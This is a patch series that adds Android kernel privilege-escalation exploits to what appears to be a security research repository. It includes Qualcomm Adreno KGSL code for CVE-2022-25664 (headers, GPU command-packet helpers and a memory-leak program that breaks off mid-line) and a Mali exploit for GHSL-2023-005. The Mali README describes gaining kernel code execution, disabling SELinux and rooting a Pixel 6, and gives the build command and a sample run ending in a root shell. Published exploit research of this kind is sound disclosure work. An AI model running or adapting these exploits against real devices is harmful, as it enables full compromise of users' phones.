/dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.h @@ -0,0 +1,237 @@ +#ifndef KGSL_UTILS_H +#define KGSL_UTILS_H + +#include +#include +#include + +#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL + +#define KGSL_MEMFLAGS_GPUREADONLY 0x01000000U + +#define KGSL_OBJLIST_MEMOBJ 0x00000008U +#define KGSL_OBJLIST_PROFILE 0x00000010U +#define KGSL_DRAWOBJ_PROFILING 0x00000010 +#define KGSL_MEMFLAGS_IOCOHERENT (1ULL << 31) + +enum kgsl_user_mem_type { + KGSL_USER_MEM_TYPE_PMEM = 0x00000000, + KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001, + KGSL_USER_MEM_TYPE_ADDR = 0x00000002, + KGSL_USER_MEM_TYPE_ION = 0x00000003, + /* + * ION type is retained for backwards compatibility but Ion buffers are + * dma-bufs so try to use that naming if we can + */ + KGSL_USER_MEM_TYPE_DMABUF = 0x00000003, + KGSL_USER_MEM_TYPE_MAX = 0x00000007, +}; + +struct kgsl_timeline_fence_get { + __u64 seqno; + __u32 timeline; + int handle; +}; + +#define IOCTL_KGSL_TIMELINE_FENCE_GET \ + _IOWR(KGSL_IOC_TYPE, 0x5C, struct kgsl_timeline_fence_get) + + +struct kgsl_timeline_create { + __u64 seqno; + __u32 id; +/* private: padding for 64 bit compatibility */ + __u32 padding; +}; + +#define IOCTL_KGSL_TIMELINE_CREATE \ + _IOWR(KGSL_IOC_TYPE, 0x58, struct kgsl_timeline_create) + +#define IOCTL_KGSL_TIMELINE_DESTROY _IOW(KGSL_IOC_TYPE, 0x5D, __u32) + +struct kgsl_device_getproperty { + unsigned int type; + void *value; + size_t sizebytes; +}; + +#define IOCTL_KGSL_DEVICE_GETPROPERTY \ + _IOWR(KGSL_IOC_TYPE, 0x2, struct kgsl_device_getproperty) + + +struct kgsl_gpumem_alloc_id { + unsigned int id; + unsigned int flags; + uint64_t size; + uint64_t mmapsize; + unsigned long gpuaddr; +}; + +#define IOCTL_KGSL_GPUMEM_ALLOC_ID \ + _IOWR(KGSL_IOC_TYPE, 0x34, struct kgsl_gpumem_alloc_id) + +struct kgsl_command_object { + uint64_t offset; + uint64_t gpuaddr; + uint64_t size; + unsigned int flags; + unsigned int id; +}; + +struct kgsl_gpu_command { + uint64_t flags; + uint64_t __user cmdlist; + unsigned int cmdsize; + unsigned int numcmds; + uint64_t __user objlist; + unsigned int objsize; + unsigned int numobjs; + uint64_t __user synclist; + unsigned int syncsize; + unsigned int numsyncs; + unsigned int context_id; + unsigned int timestamp; +}; + +struct kgsl_map_user_mem { + int fd; + unsigned long gpuaddr; /*output param */ + size_t len; + size_t offset; + unsigned long hostptr; /*input param */ + enum kgsl_user_mem_type memtype; + unsigned int flags; +}; + +struct kgsl_drawctxt_create { + unsigned int flags; + unsigned int drawctxt_id; /*output param */ +}; + +/* destroy a draw context */ +struct kgsl_drawctxt_destroy { + unsigned int drawctxt_id; +}; + + +#define KGSL_IOC_TYPE 0x09 + +#define IOCTL_KGSL_DRAWCTXT_CREATE \ + _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create) + +#define IOCTL_KGSL_DRAWCTXT_DESTROY \ + _IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy) + +#define IOCTL_KGSL_MAP_USER_MEM \ + _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem) + +#define IOCTL_KGSL_GPU_COMMAND \ + _IOWR(KGSL_IOC_TYPE, 0x4A, struct kgsl_gpu_command) + +#define KGSL_CMDLIST_IB 0x00000001U +#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL + +struct kgsl_gpuobj_import { + uint64_t __user priv; + uint64_t priv_len; + uint64_t flags; + unsigned int type; + unsigned int id; +}; + +struct kgsl_gpuobj_import_dma_buf { + int fd; +}; + +struct kgsl_gpuobj_import_useraddr { + uint64_t virtaddr; +}; + +struct kgsl_gpuobj_free { + uint64_t flags; + uint64_t __user priv; + unsigned int id; + unsigned int type; + unsigned int len; +}; + +#define KGSL_GPUOBJ_FREE_ON_EVENT 1 + +#define KGSL_GPU_EVENT_TIMESTAMP 1 +#define KGSL_GPU_EVENT_FENCE 2 + +struct kgsl_gpu_event_timestamp { + unsigned int context_id; + unsigned int timestamp; +}; + +struct kgsl_gpu_event_fence { + int fd; +}; + +struct kgsl_gpumem_free_id { + unsigned int id; +/* private: reserved for future use*/ + unsigned int __pad; +}; + +#define IOCTL_KGSL_GPUMEM_FREE_ID _IOWR(KGSL_IOC_TYPE, 0x35, struct kgsl_gpumem_free_id) + +#define IOCTL_KGSL_GPUOBJ_FREE \ + _IOW(KGSL_IOC_TYPE, 0x46, struct kgsl_gpuobj_free) + +struct dma_buf_sync { + __u64 flags; +}; + +#define DMA_BUF_SYNC_READ (1 << 0) +#define DMA_BUF_SYNC_WRITE (2 << 0) +#define DMA_BUF_SYNC_RW (DMA_BUF_SYNC_READ | DMA_BUF_SYNC_WRITE) +#define DMA_BUF_SYNC_START (0 << 2) +#define DMA_BUF_SYNC_END (1 << 2) +#define DMA_BUF_SYNC_USER_MAPPED (1 << 3) + +#define DMA_BUF_SYNC_VALID_FLAGS_MASK \ + (DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END) + +#define DMA_BUF_BASE 'b' +#define DMA_BUF_IOCTL_SYNC _IOW(DMA_BUF_BASE, 0, struct dma_buf_sync) + +#define KGSL_MEMFLAGS_FORCE_32BIT 0x100000000ULL + + +struct kgsl_syncsource_create { + unsigned int id; +/* private: reserved for future use */ + unsigned int __pad[3]; +}; + +#define IOCTL_KGSL_SYNCSOURCE_CREATE \ + _IOWR(KGSL_IOC_TYPE, 0x40, struct kgsl_syncsource_create) + +struct kgsl_syncsource_create_fence { + unsigned int id; + int fence_fd; +/* private: reserved for future use */ + unsigned int __pad[4]; +}; + +/** + * struct kgsl_syncsource_signal_fence - Argument to + * IOCTL_KGSL_SYNCSOURCE_SIGNAL_FENCE + * @id: syncsource id + * @fence_fd: sync_fence fd to signal + * + * Signal a fence that was created by a IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE + * call using the same syncsource id. This allows a fence to be shared + * to other processes but only signaled by the process owning the fd + * used to create the fence. + */ +#define IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE \ + _IOWR(KGSL_IOC_TYPE, 0x42, struct kgsl_syncsource_create_fence) + +int kgsl_ctx_create(int fd, uint32_t *ctx_id); +int kgsl_gpu_command_payload(int fd, uint32_t ctx_id, uint64_t gpuaddr, uint32_t cmdsize, uint32_t n, uint32_t target_idx, uint64_t target_cmd, uint32_t target_size); +int kgsl_map(int fd, unsigned long addr, size_t len, uint64_t *gpuaddr, int readonly); + +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno.h b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno.h new file mode 100644 index 0000000..7224cc6 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno.h @@ -0,0 +1,218 @@ +#ifndef ADRENO_H +#define ADRENO_H + +#define KGSL_MEMFLAGS_GPUREADONLY 0x01000000U + +enum kgsl_user_mem_type { + KGSL_USER_MEM_TYPE_PMEM = 0x00000000, + KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001, + KGSL_USER_MEM_TYPE_ADDR = 0x00000002, + KGSL_USER_MEM_TYPE_ION = 0x00000003, + KGSL_USER_MEM_TYPE_DMABUF = 0x00000003, + KGSL_USER_MEM_TYPE_MAX = 0x00000007, +}; + +struct kgsl_command_object { + uint64_t offset; + uint64_t gpuaddr; + uint64_t size; + unsigned int flags; + unsigned int id; +}; + +struct kgsl_gpu_command { + uint64_t flags; + uint64_t __user cmdlist; + unsigned int cmdsize; + unsigned int numcmds; + uint64_t __user objlist; + unsigned int objsize; + unsigned int numobjs; + uint64_t __user synclist; + unsigned int syncsize; + unsigned int numsyncs; + unsigned int context_id; + unsigned int timestamp; +}; + +struct kgsl_map_user_mem { + int fd; + unsigned long gpuaddr; /*output param */ + size_t len; + size_t offset; + unsigned long hostptr; /*input param */ + enum kgsl_user_mem_type memtype; + unsigned int flags; +}; + +struct kgsl_drawctxt_create { + unsigned int flags; + unsigned int drawctxt_id; /*output param */ +}; + +/* destroy a draw context */ +struct kgsl_drawctxt_destroy { + unsigned int drawctxt_id; +}; + + +#define KGSL_IOC_TYPE 0x09 + +#define IOCTL_KGSL_DRAWCTXT_CREATE \ + _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create) + +#define IOCTL_KGSL_DRAWCTXT_DESTROY \ + _IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy) + +#define IOCTL_KGSL_MAP_USER_MEM \ + _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem) + +#define IOCTL_KGSL_GPU_COMMAND \ + _IOWR(KGSL_IOC_TYPE, 0x4A, struct kgsl_gpu_command) + +#define KGSL_CMDLIST_IB 0x00000001U +#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL + +#define CP_TYPE4_PKT (4 << 28) +#define CP_TYPE7_PKT (7 << 28) + +#define CP_NOP 0x10 +#define CP_WAIT_FOR_ME 0x13 +#define CP_WAIT_FOR_IDLE 0x26 +#define CP_WAIT_REG_MEM 0x3c +#define CP_MEM_WRITE 0x3d +#define CP_INDIRECT_BUFFER_PFE 0x3f +#define CP_SET_DRAW_STATE 0x43 +#define CP_MEM_TO_MEM 0x73 +#define CP_SET_PROTECTED_MODE 0x5f + +#define upper_32_bits(n) ((uint32_t)(((n) >> 16) >> 16)) +#define lower_32_bits(n) ((uint32_t)(n)) + + +#define PT_BASE 0xfc000000 +#define KGSL_OBJLIST_MEMOBJ 0x00000008U +#define KGSL_OBJLIST_PROFILE 0x00000010U +#define KGSL_DRAWOBJ_PROFILING 0x00000010 +#define KGSL_MEMFLAGS_IOCOHERENT (1ULL << 31) + +struct kgsl_device_getproperty { + unsigned int type; + void *value; + size_t sizebytes; +}; + +#define IOCTL_KGSL_DEVICE_GETPROPERTY \ + _IOWR(KGSL_IOC_TYPE, 0x2, struct kgsl_device_getproperty) + + +struct kgsl_gpumem_alloc_id { + unsigned int id; + unsigned int flags; + uint64_t size; + uint64_t mmapsize; + unsigned long gpuaddr; +}; + +struct kgsl_gpumem_free_id { + unsigned int id; +}; + +#define IOCTL_KGSL_GPUMEM_ALLOC_ID \ + _IOWR(KGSL_IOC_TYPE, 0x34, struct kgsl_gpumem_alloc_id) + +struct kgsl_sharedmem_free { + unsigned long gpuaddr; +}; + +#define IOCTL_KGSL_SHAREDMEM_FREE \ + _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free) + +static inline uint cp_gpuaddr(uint *cmds, uint64_t gpuaddr) +{ + uint *start = cmds; + + *cmds++ = lower_32_bits(gpuaddr); + *cmds++ = upper_32_bits(gpuaddr); + + return cmds - start; +} + +static inline uint pm4_calc_odd_parity_bit(uint val) { + return (0x9669 >> (0xf & ((val) ^ + ((val) >> 4) ^ ((val) >> 8) ^ ((val) >> 12) ^ + ((val) >> 16) ^ ((val) >> 20) ^ ((val) >> 24) ^ + ((val) >> 28)))) & 1; +} + +static inline uint cp_type7_packet(uint opcode, uint cnt) { + return CP_TYPE7_PKT | ((cnt) << 0) | + (pm4_calc_odd_parity_bit(cnt) << 15) | + (((opcode) & 0x7F) << 16) | + ((pm4_calc_odd_parity_bit(opcode) << 23)); +} + +static inline uint cp_wait_for_me( + uint *cmds) +{ + uint *start = cmds; + + *cmds++ = cp_type7_packet(CP_WAIT_FOR_ME, 0); + + return cmds - start; +} + +static inline uint cp_mem_packet(int opcode, uint size, uint num_mem) { + return cp_type7_packet(opcode, size + num_mem); +} + +static inline uint cp_wait_for_idle( + uint *cmds) +{ + uint *start = cmds; + + *cmds++ = cp_type7_packet(CP_WAIT_FOR_IDLE, 0); + + return cmds - start; +} + +static inline int _adreno_iommu_add_idle_indirect_cmds( + unsigned int *cmds) +{ + unsigned int *start = cmds; + cmds += cp_wait_for_me(cmds); + *cmds++ = cp_mem_packet(CP_INDIRECT_BUFFER_PFE, 2, 1); + cmds += cp_gpuaddr(cmds, 0xfc000000+1024); + *cmds++ = 2; + cmds += cp_wait_for_idle(cmds); + return cmds - start; +} + +static inline uint cp_type4_packet(uint opcode, uint cnt) +{ + return CP_TYPE4_PKT | ((cnt) << 0) | + (pm4_calc_odd_parity_bit(cnt) << 7) | + (((opcode) & 0x3FFFF) << 8) | + ((pm4_calc_odd_parity_bit(opcode) << 27)); +} + +static inline uint cp_register( + unsigned int reg, unsigned int size) +{ + return cp_type4_packet(reg, size); +} + +static inline uint cp_invalidate_state( + uint *cmds) +{ + uint *start = cmds; + + *cmds++ = cp_type7_packet(CP_SET_DRAW_STATE, 3); + *cmds++ = 0x40000; + *cmds++ = 0; + *cmds++ = 0; + + return cmds - start; +} + +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno_user.c b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno_user.c new file mode 100644 index 0000000..ba980e8 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno_user.c @@ -0,0 +1,221 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "adreno.h" + +#define LEAK_SIZE 100 + +#define COMMAND_SIZE 4 + +static void hexdump(void *_data, size_t byte_count) { + printf("hexdump(%p, 0x%lx)\n", _data, (uint64_t)byte_count); + for (uint64_t byte_offset = 0; byte_offset < byte_count; byte_offset += 16) { + unsigned char *bytes = ((unsigned char*)_data) + byte_offset; + uint64_t line_bytes = (byte_count - byte_offset > 16) ? + 16 : (byte_count - byte_offset); + char line[1000]; + char *linep = line; + linep += sprintf(linep, "%08lx ", byte_offset); + for (int i=0; i<16; i++) { + if (i >= line_bytes) { + linep += sprintf(linep, " "); + } else { + linep += sprintf(linep, "%02hhx ", bytes[i]); + } + } + linep += sprintf(linep, " |"); + for (int i=0; i Date: Tue, 21 Feb 2023 11:53:35 +0000 Subject: [PATCH 095/140] Initial commit --- .../Android/Mali/GHSL-2023-005/README.md | 39 + .../Android/Mali/GHSL-2023-005/mali.h | 1060 ++++++++++++++ .../Mali/GHSL-2023-005/mali_base_jm_kernel.h | 1216 +++++++++++++++++ .../Android/Mali/GHSL-2023-005/mali_jit.c | 659 +++++++++ .../Android/Mali/GHSL-2023-005/midgard.h | 260 ++++ 5 files changed, 3234 insertions(+) create mode 100644 SecurityExploits/Android/Mali/GHSL-2023-005/README.md create mode 100644 SecurityExploits/Android/Mali/GHSL-2023-005/mali.h create mode 100644 SecurityExploits/Android/Mali/GHSL-2023-005/mali_base_jm_kernel.h create mode 100644 SecurityExploits/Android/Mali/GHSL-2023-005/mali_jit.c create mode 100644 SecurityExploits/Android/Mali/GHSL-2023-005/midgard.h diff --git a/SecurityExploits/Android/Mali/GHSL-2023-005/README.md b/SecurityExploits/Android/Mali/GHSL-2023-005/README.md new file mode 100644 index 0000000..76a9978 --- /dev/null +++ b/SecurityExploits/Android/Mali/GHSL-2023-005/README.md @@ -0,0 +1,39 @@ +## Exploit for GHSL-2023-005 + +The write up can be found [here](). A security patch from the upstream Arm Mali driver somehow got missed out in the update for the Pixel phones and I reported it to Google in January 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. + +The exploit is tested on the Google Pixel 6 for devices running the January 2023 patch. For reference, I used the following command to compile it with clang in ndk-21: + +``` +android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_jit.c -o mali_jit +``` + +The exploit should be run a couple of minutes after boot and should be fairly reliable. If failed, it can be rerun and should succeed within a few times. +If successful, it should disable SELinux and gain root. + +``` +oriole:/ $ /data/local/tmp/mali_jit +fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys +region freed +found region 16115 at 7000200000 +overwrite addr : 7ae9700710 710 +overwrite addr : 7ae9500710 710 +overwrite addr : 7828500710 710 +overwrite addr : 7828300710 710 +overwrite addr : 7828500710 710 +overwrite addr : 7828300710 710 +overwrite addr : 7828100710 710 +overwrite addr : 7828300710 710 +overwrite addr : 7828100710 710 +overwrite addr : 7ae9700fd4 fd4 +overwrite addr : 7ae9500fd4 fd4 +overwrite addr : 7828500fd4 fd4 +overwrite addr : 7828300fd4 fd4 +overwrite addr : 7828500fd4 fd4 +overwrite addr : 7828300fd4 fd4 +overwrite addr : 7828100fd4 fd4 +overwrite addr : 7828300fd4 fd4 +overwrite addr : 7828100fd4 fd4 +result 50 +oriole:/ # +``` diff --git a/SecurityExploits/Android/Mali/GHSL-2023-005/mali.h b/SecurityExploits/Android/Mali/GHSL-2023-005/mali.h new file mode 100644 index 0000000..3b61e20 --- /dev/null +++ b/SecurityExploits/Android/Mali/GHSL-2023-005/mali.h @@ -0,0 +1,1060 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2020-2021 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_KBASE_JM_IOCTL_H_ +#define _UAPI_KBASE_JM_IOCTL_H_ + +#include +#include + +/* + * 11.1: + * - Add BASE_MEM_TILER_ALIGN_TOP under base_mem_alloc_flags + * 11.2: + * - KBASE_MEM_QUERY_FLAGS can return KBASE_REG_PF_GROW and KBASE_REG_PROTECTED, + * which some user-side clients prior to 11.2 might fault if they received + * them + * 11.3: + * - New ioctls KBASE_IOCTL_STICKY_RESOURCE_MAP and + * KBASE_IOCTL_STICKY_RESOURCE_UNMAP + * 11.4: + * - New ioctl KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET + * 11.5: + * - New ioctl: KBASE_IOCTL_MEM_JIT_INIT (old ioctl renamed to _OLD) + * 11.6: + * - Added flags field to base_jit_alloc_info structure, which can be used to + * specify pseudo chunked tiler alignment for JIT allocations. + * 11.7: + * - Removed UMP support + * 11.8: + * - Added BASE_MEM_UNCACHED_GPU under base_mem_alloc_flags + * 11.9: + * - Added BASE_MEM_PERMANENT_KERNEL_MAPPING and BASE_MEM_FLAGS_KERNEL_ONLY + * under base_mem_alloc_flags + * 11.10: + * - Enabled the use of nr_extres field of base_jd_atom_v2 structure for + * JIT_ALLOC and JIT_FREE type softjobs to enable multiple JIT allocations + * with one softjob. + * 11.11: + * - Added BASE_MEM_GPU_VA_SAME_4GB_PAGE under base_mem_alloc_flags + * 11.12: + * - Removed ioctl: KBASE_IOCTL_GET_PROFILING_CONTROLS + * 11.13: + * - New ioctl: KBASE_IOCTL_MEM_EXEC_INIT + * 11.14: + * - Add BASE_MEM_GROUP_ID_MASK, base_mem_group_id_get, base_mem_group_id_set + * under base_mem_alloc_flags + * 11.15: + * - Added BASEP_CONTEXT_MMU_GROUP_ID_MASK under base_context_create_flags. + * - Require KBASE_IOCTL_SET_FLAGS before BASE_MEM_MAP_TRACKING_HANDLE can be + * passed to mmap(). + * 11.16: + * - Extended ioctl KBASE_IOCTL_MEM_SYNC to accept imported dma-buf. + * - Modified (backwards compatible) ioctl KBASE_IOCTL_MEM_IMPORT behavior for + * dma-buf. Now, buffers are mapped on GPU when first imported, no longer + * requiring external resource or sticky resource tracking. UNLESS, + * CONFIG_MALI_DMA_BUF_MAP_ON_DEMAND is enabled. + * 11.17: + * - Added BASE_JD_REQ_JOB_SLOT. + * - Reused padding field in base_jd_atom_v2 to pass job slot number. + * - New ioctl: KBASE_IOCTL_GET_CPU_GPU_TIMEINFO + * 11.18: + * - Added BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP under base_mem_alloc_flags + * 11.19: + * - Extended base_jd_atom_v2 to allow a renderpass ID to be specified. + * 11.20: + * - Added new phys_pages member to kbase_ioctl_mem_jit_init for + * KBASE_IOCTL_MEM_JIT_INIT, previous variants of this renamed to use _10_2 + * (replacing '_OLD') and _11_5 suffixes + * - Replaced compat_core_req (deprecated in 10.3) with jit_id[2] in + * base_jd_atom_v2. It must currently be initialized to zero. + * - Added heap_info_gpu_addr to base_jit_alloc_info, and + * BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE allowable in base_jit_alloc_info's + * flags member. Previous variants of this structure are kept and given _10_2 + * and _11_5 suffixes. + * - The above changes are checked for safe values in usual builds + * 11.21: + * - v2.0 of mali_trace debugfs file, which now versions the file separately + * 11.22: + * - Added base_jd_atom (v3), which is seq_nr + base_jd_atom_v2. + * KBASE_IOCTL_JOB_SUBMIT supports both in parallel. + * 11.23: + * - Modified KBASE_IOCTL_MEM_COMMIT behavior to reject requests to modify + * the physical memory backing of JIT allocations. This was not supposed + * to be a valid use case, but it was allowed by the previous implementation. + * 11.24: + * - Added a sysfs file 'serialize_jobs' inside a new sub-directory + * 'scheduling'. + * 11.25: + * - Enabled JIT pressure limit in base/kbase by default + * 11.26 + * - Added kinstr_jm API + * 11.27 + * - Backwards compatible extension to HWC ioctl. + * 11.28: + * - Added kernel side cache ops needed hint + * 11.29: + * - Reserve ioctl 52 + * 11.30: + * - Add a new priority level BASE_JD_PRIO_REALTIME + * - Add ioctl 54: This controls the priority setting. + * 11.31: + * - Added BASE_JD_REQ_LIMITED_CORE_MASK. + * - Added ioctl 55: set_limited_core_count. + */ +#define BASE_UK_VERSION_MAJOR 11 +#define BASE_UK_VERSION_MINOR 31 + +/** + * struct kbase_ioctl_version_check - Check version compatibility between + * kernel and userspace + * + * @major: Major version number + * @minor: Minor version number + */ +struct kbase_ioctl_version_check { + __u16 major; + __u16 minor; +}; + +#define KBASE_IOCTL_VERSION_CHECK \ + _IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check) + + +/** + * struct kbase_ioctl_job_submit - Submit jobs/atoms to the kernel + * + * @addr: Memory address of an array of struct base_jd_atom_v2 or v3 + * @nr_atoms: Number of entries in the array + * @stride: sizeof(struct base_jd_atom_v2) or sizeof(struct base_jd_atom) + */ +struct kbase_ioctl_job_submit { + __u64 addr; + __u32 nr_atoms; + __u32 stride; +}; + +#define KBASE_IOCTL_JOB_SUBMIT \ + _IOW(KBASE_IOCTL_TYPE, 2, struct kbase_ioctl_job_submit) + +#define KBASE_IOCTL_POST_TERM \ + _IO(KBASE_IOCTL_TYPE, 4) + +/** + * struct kbase_ioctl_soft_event_update - Update the status of a soft-event + * @event: GPU address of the event which has been updated + * @new_status: The new status to set + * @flags: Flags for future expansion + */ +struct kbase_ioctl_soft_event_update { + __u64 event; + __u32 new_status; + __u32 flags; +}; + +#define KBASE_IOCTL_SOFT_EVENT_UPDATE \ + _IOW(KBASE_IOCTL_TYPE, 28, struct kbase_ioctl_soft_event_update) + +/** + * struct kbase_kinstr_jm_fd_out - Explains the compatibility information for + * the `struct kbase_kinstr_jm_atom_state_change` structure returned from the + * kernel + * + * @size: The size of the `struct kbase_kinstr_jm_atom_state_change` + * @version: Represents a breaking change in the + * `struct kbase_kinstr_jm_atom_state_change` + * @padding: Explicit padding to get the structure up to 64bits. See + * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst + * + * The `struct kbase_kinstr_jm_atom_state_change` may have extra members at the + * end of the structure that older user space might not understand. If the + * `version` is the same, the structure is still compatible with newer kernels. + * The `size` can be used to cast the opaque memory returned from the kernel. + */ +struct kbase_kinstr_jm_fd_out { + __u16 size; + __u8 version; + __u8 padding[5]; +}; + +/** + * struct kbase_kinstr_jm_fd_in - Options when creating the file descriptor + * + * @count: Number of atom states that can be stored in the kernel circular + * buffer. Must be a power of two + * @padding: Explicit padding to get the structure up to 64bits. See + * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst + */ +struct kbase_kinstr_jm_fd_in { + __u16 count; + __u8 padding[6]; +}; + +union kbase_kinstr_jm_fd { + struct kbase_kinstr_jm_fd_in in; + struct kbase_kinstr_jm_fd_out out; +}; + +#define KBASE_IOCTL_KINSTR_JM_FD \ + _IOWR(KBASE_IOCTL_TYPE, 51, union kbase_kinstr_jm_fd) + + +#define KBASE_IOCTL_VERSION_CHECK_RESERVED \ + _IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check) + +#define KBASE_IOCTL_TYPE 0x80 + +/** + * struct kbase_ioctl_set_flags - Set kernel context creation flags + * + * @create_flags: Flags - see base_context_create_flags + */ +struct kbase_ioctl_set_flags { + __u32 create_flags; +}; + +#define KBASE_IOCTL_SET_FLAGS \ + _IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags) + +/** + * struct kbase_ioctl_get_gpuprops - Read GPU properties from the kernel + * + * @buffer: Pointer to the buffer to store properties into + * @size: Size of the buffer + * @flags: Flags - must be zero for now + * + * The ioctl will return the number of bytes stored into @buffer or an error + * on failure (e.g. @size is too small). If @size is specified as 0 then no + * data will be written but the return value will be the number of bytes needed + * for all the properties. + * + * @flags may be used in the future to request a different format for the + * buffer. With @flags == 0 the following format is used. + * + * The buffer will be filled with pairs of values, a __u32 key identifying the + * property followed by the value. The size of the value is identified using + * the bottom bits of the key. The value then immediately followed the key and + * is tightly packed (there is no padding). All keys and values are + * little-endian. + * + * 00 = __u8 + * 01 = __u16 + * 10 = __u32 + * 11 = __u64 + */ +struct kbase_ioctl_get_gpuprops { + __u64 buffer; + __u32 size; + __u32 flags; +}; + +#define KBASE_IOCTL_GET_GPUPROPS \ + _IOW(KBASE_IOCTL_TYPE, 3, struct kbase_ioctl_get_gpuprops) + +/** + * union kbase_ioctl_mem_alloc - Allocate memory on the GPU + * @in: Input parameters + * @in.va_pages: The number of pages of virtual address space to reserve + * @in.commit_pages: The number of physical pages to allocate + * @in.extension: The number of extra pages to allocate on each GPU fault which grows the region + * @in.flags: Flags + * @out: Output parameters + * @out.flags: Flags + * @out.gpu_va: The GPU virtual address which is allocated + */ +union kbase_ioctl_mem_alloc { + struct { + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u64 flags; + } in; + struct { + __u64 flags; + __u64 gpu_va; + } out; +}; + +#define KBASE_IOCTL_MEM_ALLOC \ + _IOWR(KBASE_IOCTL_TYPE, 5, union kbase_ioctl_mem_alloc) + +/** + * struct kbase_ioctl_mem_query - Query properties of a GPU memory region + * @in: Input parameters + * @in.gpu_addr: A GPU address contained within the region + * @in.query: The type of query + * @out: Output parameters + * @out.value: The result of the query + * + * Use a %KBASE_MEM_QUERY_xxx flag as input for @query. + */ +union kbase_ioctl_mem_query { + struct { + __u64 gpu_addr; + __u64 query; + } in; + struct { + __u64 value; + } out; +}; + +#define KBASE_IOCTL_MEM_QUERY \ + _IOWR(KBASE_IOCTL_TYPE, 6, union kbase_ioctl_mem_query) + +#define KBASE_MEM_QUERY_COMMIT_SIZE ((__u64)1) +#define KBASE_MEM_QUERY_VA_SIZE ((__u64)2) +#define KBASE_MEM_QUERY_FLAGS ((__u64)3) + +/** + * struct kbase_ioctl_mem_free - Free a memory region + * @gpu_addr: Handle to the region to free + */ +struct kbase_ioctl_mem_free { + __u64 gpu_addr; +}; + +#define KBASE_IOCTL_MEM_FREE \ + _IOW(KBASE_IOCTL_TYPE, 7, struct kbase_ioctl_mem_free) + +/** + * struct kbase_ioctl_hwcnt_reader_setup - Setup HWC dumper/reader + * @buffer_count: requested number of dumping buffers + * @fe_bm: counters selection bitmask (Front end) + * @shader_bm: counters selection bitmask (Shader) + * @tiler_bm: counters selection bitmask (Tiler) + * @mmu_l2_bm: counters selection bitmask (MMU_L2) + * + * A fd is returned from the ioctl if successful, or a negative value on error + */ +struct kbase_ioctl_hwcnt_reader_setup { + __u32 buffer_count; + __u32 fe_bm; + __u32 shader_bm; + __u32 tiler_bm; + __u32 mmu_l2_bm; +}; + +#define KBASE_IOCTL_HWCNT_READER_SETUP \ + _IOW(KBASE_IOCTL_TYPE, 8, struct kbase_ioctl_hwcnt_reader_setup) + +/** + * struct kbase_ioctl_hwcnt_enable - Enable hardware counter collection + * @dump_buffer: GPU address to write counters to + * @fe_bm: counters selection bitmask (Front end) + * @shader_bm: counters selection bitmask (Shader) + * @tiler_bm: counters selection bitmask (Tiler) + * @mmu_l2_bm: counters selection bitmask (MMU_L2) + */ +struct kbase_ioctl_hwcnt_enable { + __u64 dump_buffer; + __u32 fe_bm; + __u32 shader_bm; + __u32 tiler_bm; + __u32 mmu_l2_bm; +}; + +#define KBASE_IOCTL_HWCNT_ENABLE \ + _IOW(KBASE_IOCTL_TYPE, 9, struct kbase_ioctl_hwcnt_enable) + +#define KBASE_IOCTL_HWCNT_DUMP \ + _IO(KBASE_IOCTL_TYPE, 10) + +#define KBASE_IOCTL_HWCNT_CLEAR \ + _IO(KBASE_IOCTL_TYPE, 11) + +/** + * struct kbase_ioctl_hwcnt_values - Values to set dummy the dummy counters to. + * @data: Counter samples for the dummy model. + * @size: Size of the counter sample data. + * @padding: Padding. + */ +struct kbase_ioctl_hwcnt_values { + __u64 data; + __u32 size; + __u32 padding; +}; + +#define KBASE_IOCTL_HWCNT_SET \ + _IOW(KBASE_IOCTL_TYPE, 32, struct 